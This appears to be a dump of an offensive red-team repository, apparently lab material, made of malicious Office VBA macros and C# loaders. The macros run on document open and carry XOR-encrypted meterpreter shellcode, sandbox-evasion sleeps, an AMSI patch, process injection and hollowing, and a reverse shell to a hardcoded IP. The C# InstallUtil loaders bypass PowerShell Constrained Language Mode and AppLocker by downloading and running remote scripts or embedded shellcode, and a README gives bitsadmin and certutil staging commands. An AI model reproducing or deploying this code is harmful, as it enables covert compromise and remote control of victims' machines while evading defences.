entrypoint_rva = entrypoint_rva + data(opthdr + 1) * (2 ^ 8)
entrypoint_rva = entrypoint_rva + data(opthdr)
Dim addressOfEntryPoint As LongPtr
' Add base address of svchost with the entry point RVA to get the start of the buffer to overwrite with shellcode
addressOfEntryPoint = entrypoint_rva + svcHostBase
' Buffer for malicious crypted shellcode needs to go here
Dim sc As Variant
Dim key As String
' TODO change the key
key = "CHANGEMYKEY"
' msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key 'CHANGEMYKEY'
sc = Array(145,145,252,...,180)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
' Write the shellcode into the svchost.exe entry point
a = WriteProcessMemory(ProcInfo, addressOfEntryPoint, buf(0), scSize, tmp)
' Resume svchost.exe process to run the shellcode
b = ResumeThread(pi.hThread)
End Function
================================================
FILE: 02 - Macros/processInjection.vba
================================================
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function getmod Lib "KERNEL32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function GetPrAddr Lib "KERNEL32" Alias "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function VirtPro Lib "KERNEL32" Alias "VirtualProtect" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProcess As LongPtr, lpflOldProtect As LongPtr) As LongPtr
Private Declare PtrSafe Sub patched Lib "KERNEL32" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Function OpenProcess Lib "KERNEL32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As LongPtr
Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Integer, ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal fAllocType As LongPtr, ByVal flProtect As LongPtr) As LongPtr
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByRef lpBuffer As LongPtr, ByVal nSize As LongPtr, ByRef lpNumberOfBytesWritten As LongPtr) As LongPtr
Private Declare PtrSafe Function CreateRemoteThread Lib "KERNEL32" (ByVal ProcessHandle As LongPtr, ByVal lpThreadAttributes As Long, ByVal dwStackSize As LongPtr, ByVal lpStartAddress As LongPtr, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByVal lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function CloseHandle Lib "KERNEL32" (ByVal hObject As LongPtr) As Boolean
Function mymacro()
Dim myTime
Dim Timein As Date
Dim second_time
Dim Timeout As Date
Dim subtime As Variant
Dim vOut As Integer
Dim Is64 As Boolean
Dim StrFile As String
myTime = Time
Timein = Date + myTime
Sleep (4000)
second_time = Time
Timeout = Date + second_time
subtime = DateDiff("s", Timein, Timeout)
vOut = CInt(subtime)
If subtime < 3.5 Then
Exit Function
End If
Dim sc As Variant
Dim key As String
' TODO change the key
key = "0xfa"
'msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key '0xfa'
sc = Array(204, 144, 233, 97, 48, 120, 6, 80, 226, 28, 237, 51, 0, 241, 131, 234, 98, 116, 237, 51, 36, 243, 20, 73, 1, 135, 105, 214, 122, 94, 87, 161, 156, 68, 7, 29, 50, 84, 70, 160, 255, 117, 103, 166, 121, 13, 137, 51, 103, 243, 52, 113, 187, 58, 90, 96, 224, 243, 38, 25, 181, 184, 18, 45, 49, 168, 54, 234, 120, 96, 237, 57, 16, 121, 181, 228, 249, 12, 90, 40, 187, _
76, 237, 96, 230, 73, 153, 80, 240, 212, 167, 174, 61, 121, 161, 89, 208, 13, 146, 98, 77, 128, 93, 28, 20, 13, 134, 57, 187, 32, 66, 96, 227, 30, 237, 109, 123, 243, 62, 125, 49, 171, 237, 101, 187, 121, 182, 232, 116, 92, 66, 58, 107, 25, 63, 59, 97, 135, 134, 57, 111, 34, 237, 115, 217, 248, 153, 158, 207, 37, 14, 82, 2, 120, 102, 9, 71, 11, 84, 62, 100, _
16, 42, 22, 22, 127, 239, 137, 207, 168, 222, 241, 49, 120, 102, 72, 244, 44, 54, 9, 25, 248, 13, 97, 207, 173, 12, 107, 88, 184, 206, 76, 239, 16, 100, 97, 49, 195, 239, 135, 96, 40, 54, 49, 112, 40, 38, 49, 88, 146, 105, 190, 208, 135, 179, 246, 90, 104, 48, 54, 88, 225, 195, 21, 81, 135, 179, 228, 240, 12, 108, 158, 126, 112, 19, 141, 216, 31, 102, 97, 48, _
18, 102, 11, 52, 46, 49, 9, 50, 161, 174, 62, 207, 173, 229, 153, 48, 6, 80, 234, 6, 18, 38, 9, 48, 104, 102, 97, 102, 18, 102, 9, 104, 220, 53, 132, 207, 173, 245, 50, 90, 120, 48, 50, 103, 16, 100, 184, 248, 39, 153, 180, 179, 128, 102, 28, 24, 32, 14, 97, 112, 120, 102, 11, 48, 40, 14, 106, 31, 119, 86, 158, 229, 47, 14, 20, 94, 53, 7, 158, 229, _
38, 56, 158, 60, 92, 105, 228, 64, 135, 153, 158, 217, 227, 153, 158, 207, 121, 165, 72, 246, 13, 167, 162, 139, 152, 123, 75, 58, 16, 192, 244, 141, 229, 153, 180, 12, 126, 26, 107, 176, 131, 134, 20, 53, 195, 33, 114, 66, 23, 12, 97, 99, 135, 179)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
'grab handle to target, which has to be running if this macro is opened from word
Shell "notepad.exe", vbHide
pid = getPID("notepad.exe")
Handle = OpenProcess(&H1F0FFF, False, pid)
'MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
addr = VirtualAllocEx(Handle, 0, UBound(buf), &H3000, &H40)
'byte-by-byte to attempt sneaking our shellcode past AV hooks
For counter = LBound(buf) To UBound(buf)
binData = buf(counter)
Address = addr + counter
res = WriteProcessMemory(Handle, Address, binData, 1, 0&)
Next counter
thread = CreateRemoteThread(Handle, 0, 0, addr, 0, 0, 0)
End Function
Sub patch(StrFile As String, Is64 As Boolean)
Dim lib As LongPtr
Dim Func_addr As LongPtr
Dim temp As LongPtr
lib = getmod(StrFile)
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, 0)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, old)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
End Sub
Function getPID(injProc As String) As LongPtr
Dim objServices As Object, objProcessSet As Object, Process As Object
Set objServices = GetObject("winmgmts:\\.\root\CIMV2")
Set objProcessSet = objServices.ExecQuery("SELECT ProcessID, name FROM Win32_Process WHERE name = """ & injProc & """", , 48)
For Each Process In objProcessSet
getPID = Process.processID
Next
End Function
Sub test()
mymacro
End Sub
Sub Document_Open()
test
End Sub
Sub AutoOpen()
test
End Sub
================================================
FILE: 02 - Macros/revShell.vba
================================================
Private Type WSAData
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 255) As Byte
szSystemStatus(0 To 128) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As LongPtr ' Updated for 64-bit compatibility
End Type
Private Type sockaddr_in
sin_family As Integer
sin_port As Integer
sin_addr As Long
sin_zero(0 To 7) As Byte
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr ' Updated for 64-bit
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
' Updated all API declarations with PtrSafe and LongPtr where necessary
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" ( _
ByVal wVersionRequested As Integer, _
ByRef data As WSAData _
) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" ( _
ByVal socket As LongPtr, _
ByRef sockaddr As sockaddr_in, _
ByVal namelen As Long _
) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" ( _
ByVal socket As LongPtr _
) As Long
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" ( _
ByVal af As Long, _
ByVal typ As Long, _
ByVal protocol As Long, _
lpProtocolInfo As Any, _
ByVal g As Long, _
ByVal dwFlags As Long _
) As LongPtr ' Updated to return LongPtr
Public Declare PtrSafe Function inet_addr Lib "ws2_32.dll" ( _
ByVal cp As String _
) As Long
Public Declare PtrSafe Function htons Lib "ws2_32.dll" ( _
ByVal hostshort As Integer _
) As Integer
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
ByRef lpProcessAttributes As Any, _
ByRef lpThreadAttributes As Any, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As LongPtr, _
ByVal lpCurrentDirectory As String, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION _
) As LongPtr ' Updated for 64-bit
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Function ReverseShell(IP As String, PORT As Integer) As Long
Dim socket As LongPtr
Dim addr As sockaddr_in
Dim ret As Long
Dim data As WSAData
Dim si As STARTUPINFO
Dim pi As PROCESS_INFORMATION
ret = WSAStartup(&H202, data)
If (ret <> 0) Then
ReverseShell = WSAGetLastError()
Exit Function
End If
socket = WSASocketA(2, 1, 0, ByVal 0&, 0, 0)
If (socket = 0) Then ' WSASocketA returns INVALID_SOCKET (0) in 64-bit
ReverseShell = WSAGetLastError()
Exit Function
End If
addr.sin_family = 2
addr.sin_port = htons(PORT)
addr.sin_addr = inet_addr(IP)
ret = connect(socket, addr, Len(addr))
If (ret <> 0) Then
ReverseShell = WSAGetLastError()
Exit Function
End If
si.cb = LenB(si)
si.dwFlags = &H100
si.hStdInput = socket
si.hStdOutput = socket
si.hStdError = socket
Call CreateProcess(vbNullString, "cmd.exe", ByVal 0&, ByVal 0&, True, &H8000000, ByVal 0&, vbNullString, si, pi)
closesocket (socket)
End Function
Sub AutoOpen()
Call ReverseShell("192.168.25.22", 9001)
End Sub
================================================
FILE: 02 - Macros/shellcodeRunner.vba
================================================
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim sc As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Check if we're in a sandbox by calling a rare-emulated API
If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
Key = "a"
' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
sc = Array(157, 137, 238, 97, 97, 97, 1, 80, 179, 5, 234, 51, 81, 234, 51, 109, 232, 132, 234, 51, 117, 80, 158, 110, 214, 43, 71, 234, 19, 73, 80, 161, 205, 93, 0, 29, 99, 77, 65, 160, 174, 108, 96, 166, 40, 20, 142, 51, 54, 234, 51, 113, 234, 35, 93, 96, 177, 234, 33, 25, 228, 161, 21, 45, 96, 177, 49, 234, 41, 121, 234, 57, 65, 96, 178, 228, 168, 21, 93, 80, 158, _
40, 234, 85, 234, 96, 183, 80, 161, 160, 174, 108, 205, 96, 166, 89, 129, 20, 149, 98, 28, 153, 90, 28, 69, 20, 129, 57, 234, 57, 69, 96, 178, 7, 234, 109, 42, 234, 57, 125, 96, 178, 234, 101, 234, 96, 177, 232, 37, 69, 69, 58, 58, 0, 56, 59, 48, 158, 129, 57, 62, 59, 234, 115, 136, 225, 158, 158, 158, 60, 9, 82, 83, 97, 97, 9, 22, 18, 83, 62, 53, _
9, 45, 22, 71, 102, 232, 137, 158, 177, 217, 241, 96, 97, 97, 72, 165, 53, 49, 9, 72, 225, 10, 97, 158, 180, 11, 107, 9, 161, 201, 83, 4, 9, 99, 97, 96, 218, 232, 135, 49, 49, 49, 49, 33, 49, 33, 49, 9, 139, 110, 190, 129, 158, 180, 246, 11, 113, 55, 54, 9, 248, 196, 21, 0, 158, 180, 228, 161, 21, 107, 158, 47, 105, 20, 141, 137, 6, 97, 97, 97, _
11, 97, 11, 101, 55, 54, 9, 99, 184, 169, 62, 158, 180, 226, 153, 97, 31, 87, 234, 87, 11, 33, 9, 97, 113, 97, 97, 55, 11, 97, 9, 57, 197, 50, 132, 158, 180, 242, 50, 11, 97, 55, 50, 54, 9, 99, 184, 169, 62, 158, 180, 226, 153, 97, 28, 73, 57, 9, 97, 33, 97, 97, 11, 97, 49, 9, 106, 78, 110, 81, 158, 180, 54, 9, 20, 15, 44, 0, 158, 180, _
63, 63, 158, 109, 69, 110, 228, 17, 158, 158, 158, 136, 250, 158, 158, 158, 96, 162, 72, 167, 20, 160, 162, 218, 129, 124, 75, 107, 9, 199, 244, 220, 252, 158, 180, 93, 103, 29, 107, 225, 154, 129, 20, 100, 218, 38, 114, 19, 14, 11, 97, 50, 158, 180)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = Key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(Key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE
' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
================================================
FILE: 02 - Macros/simpleRunner.vba
================================================
Sub mymacro()
Dim Command As String
Command = "curl http://192.168.49.115/worked"
Shell Command, 1
End Sub
Sub AutoOpen()
mymacro
End Sub
Sub DocumentOpen()
mymacro
End Sub
================================================
FILE: 03 - CLM & Applocker Bypass/1 - Source/InvokePowershell.cs
================================================
using System;
using System.Collections.ObjectModel;
using System.Configuration.Install;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
namespace PsBypassCostraintLanguageMode
{
public class Program
{
public static void Main()
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
runSpaceInvoker.Invoke("iex(iwr http://192.168.45.173/amsi.txt -UseBasicParsing)");
Runspace runspace2 = RunspaceFactory.CreateRunspace();
runspace2.Open();
RunspaceInvoke runSpaceInvoker2 = new RunspaceInvoke(runspace2);
runSpaceInvoker.Invoke("iex(iwr http://192.168.45.173/rev.txt -UseBasicParsing)");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
Program.Main();
}
}
}
================================================
FILE: 03 - CLM & Applocker Bypass/1 - Source/ShellcodeRunner.cs
================================================
// We need to install with NuGet package manager some dependencies for the project prior compilation:
// Install-Package System.Management.Automation.dll -Version 10.0.10586
// Install-Package Core.System.Configuration.Install -Version 1.1.0
using System;
using System.Collections.ObjectModel;
using System.Configuration.Install;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
namespace PsBypassCostraintLanguageMode
{
public class Program
{
public static void Main()
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
runSpaceInvoker.Invoke(
// The code inserted here was taken from Powershell-Scripts directory, the file called procHollow.ps1
"[Byte[]] $SHELLCODE = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x2d,0xad,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5\r\n\r\nfilter Get-Type ([string]$dllName,[string]$typeName)\r\n{\r\n if( $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($dllName) )\r\n {\r\n $_.GetType($typeName)\r\n }\r\n}\r\n\r\nfunction Get-Function\r\n{\r\n Param(\r\n [string] $module,\r\n [string] $function\r\n )\r\n\r\n if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )\r\n {\r\n throw \"Error: GetModuleHandle and GetProcAddress must be initialized first!\"\r\n }\r\n\r\n $moduleHandle = $GetModuleHandle.Invoke($null, @($module))\r\n $GetProcAddress.Invoke($null, @($moduleHandle, $function))\r\n}\r\n\r\nfunction Get-Delegate\r\n{\r\n Param (\r\n [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,\r\n [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,\r\n [Parameter(Position = 2)] [Type] $retType = [Void]\r\n )\r\n\r\n $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).\r\n DefineDynamicModule('QM', $false).\r\n DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])\r\n $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')\r\n $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')\r\n $delegate = $type.CreateType()\r\n\r\n [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)\r\n}\r\n\r\n# Obtain the required types via reflection\r\n$assemblies = [AppDomain]::CurrentDomain.GetAssemblies()\r\n$unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'\r\n$nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'\r\n$startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'\r\n$processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'\r\n\r\n# Obtain the required functions via reflection: GetModuleHandle, GetProcAddress and CreateProcess\r\n$GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')\r\n$GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);\r\n$CreateProcess = $nativeMethodsType.GetMethod(\"CreateProcess\")\r\n\r\n# Obtain the function addresses of the required hollowing functions\r\n$ResumeThreadAddr = Get-Function \"kernel32.dll\" \"ResumeThread\"\r\n$ReadProcessMemoryAddr = Get-Function \"kernel32.dll\" \"ReadProcessMemory\"\r\n$WriteProcessMemoryAddr = Get-Function \"kernel32.dll\" \"WriteProcessMemory\"\r\n$ZwQueryInformationProcessAddr = Get-Function \"ntdll.dll\" \"ZwQueryInformationProcess\"\r\n\r\n# Create the delegate types to call the previously obtain function addresses\r\n$ResumeThread = Get-Delegate $ResumeThreadAddr @([IntPtr])\r\n$WriteProcessMemory = Get-Delegate $WriteProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr])\r\n$ReadProcessMemory = Get-Delegate $ReadProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int], [IntPtr]) ([Bool])\r\n$ZwQueryInformationProcess = Get-Delegate $ZwQueryInformationProcessAddr @([IntPtr], [Int], [Byte[]], [UInt32], [UInt32]) ([Int])\r\n\r\n# Instantiate the required structures for CreateProcess and use them to launch svchost.exe\r\n$startupInformation = $startupInformationType.GetConstructors().Invoke($null)\r\n$processInformation = $processInformationType.GetConstructors().Invoke($null)\r\n\r\n$cmd = [System.Text.StringBuilder]::new(\"C:\\\\Windows\\\\System32\\\\svchost.exe\")\r\n$CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $false, 0x4, [IntPtr]::Zero, $null, $startupInformation, $processInformation))\r\n\r\n# Obtain the required handles from the PROCESS_INFORMATION structure\r\n$hThread = $processInformation.hThread\r\n$hProcess = $processInformation.hProcess\r\n\r\n# Create a buffer to hold the PROCESS_BASIC_INFORMATION structure and call ZwQueryInformationProcess\r\n$processBasicInformation = [System.Byte[]]::CreateInstance([System.Byte], 48)\r\n$ZwQueryInformationProcess.Invoke($hProcess, 0, $processBasicInformation, $processBasicInformation.Length, 0)\r\n\r\n# Locate the image base address. The address of the PEB is the second element within the PROCESS_BASIC_INFORMATION\r\n# structure (e.g. offset 0x08 within the $processBasicInformation buffer on x64). Within the PEB, the base image\r\n# addr is located at offset 0x10.\r\n$imageBaseAddrPEB = ([IntPtr]::new([BitConverter]::ToUInt64($processBasicInformation, 0x08) + 0x10))\r\n\r\n# Use ReadProcessMemory to read the required part of the PEB. We allocate already a buffer for 0x200\r\n# bytes that we will use later on. From the PEB we actually only need 0x08 bytes, as $imageBaseAddrPEB\r\n# already points to the correct memory location. We parse the obtained 0x08 bytes as Int64 and IntPtr.\r\n$memoryBuffer = [System.Byte[]]::CreateInstance([System.Byte], 0x200)\r\n$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPEB, $memoryBuffer, 0x08, 0)\r\n\r\n$imageBaseAddr = [BitConverter]::ToInt64($memoryBuffer, 0)\r\n$imageBaseAddrPointer = [IntPtr]::new($imageBaseAddr)\r\n\r\n# Now that we have the base address, we can read the first 0x200 bytes to obtain the PE file format header.\r\n# The offset of the PE header is at 0x3c within the PE file format header. Within the PE header, the relative\r\n# entry point address can be found at an offset of 0x28. We combine this with the $imageBaseAddr and have finally\r\n# found the non relative entry point address.\r\n$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPointer, $memoryBuffer, $memoryBuffer.Length, 0)\r\n\r\n$peOffset = [BitConverter]::ToUInt32($memoryBuffer, 0x3c) # PE header offset\r\n$entryPointAddrRelative = [BitConverter]::ToUInt32($memoryBuffer, $peOffset + 0x28) # Relative entrypoint\r\n$entryPointAddr = [IntPtr]::new($imageBaseAddr + $entryPointAddrRelative) # Absolute entrypoint\r\n\r\n# Overwrite the entrypoint with shellcode and resume the thread.\r\n$WriteProcessMemory.Invoke($hProcess, $entryPointAddr, $SHELLCODE, $SHELLCODE.Length, [IntPtr]::Zero)\r\n$ResumeThread.Invoke($hThread)\r\n\r\n# Close powershell to remove it as the parent of svchost.exe\r\nexit"
);
}
}
[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
base.Uninstall(savedState);
Program.Main();
}
}
}
================================================
FILE: 03 - CLM & Applocker Bypass/2 - HTA Templates/README.md
================================================
## InstallUtil (installutil.hta)
*Note: If* `curl` *is unavailable on the target system, use* `bitsadmin` *as an alternative:*
- `bitsadmin /transfer myJob http://192.168.45.199/scanVenger.exe C:\Windows\Tasks\scanvenger.exe`
- Compile a C# executable that implements a custom PowerShell runspace.
- Convert the compiled executable to a text file using `certutil`:
- `certutil -encode clm-bypass.exe file.txt`
- Utilize the InstallUtil template to prompt the target to download the `file.txt` file, initiating the execution process.
## MSBuild (msbuild.hta)
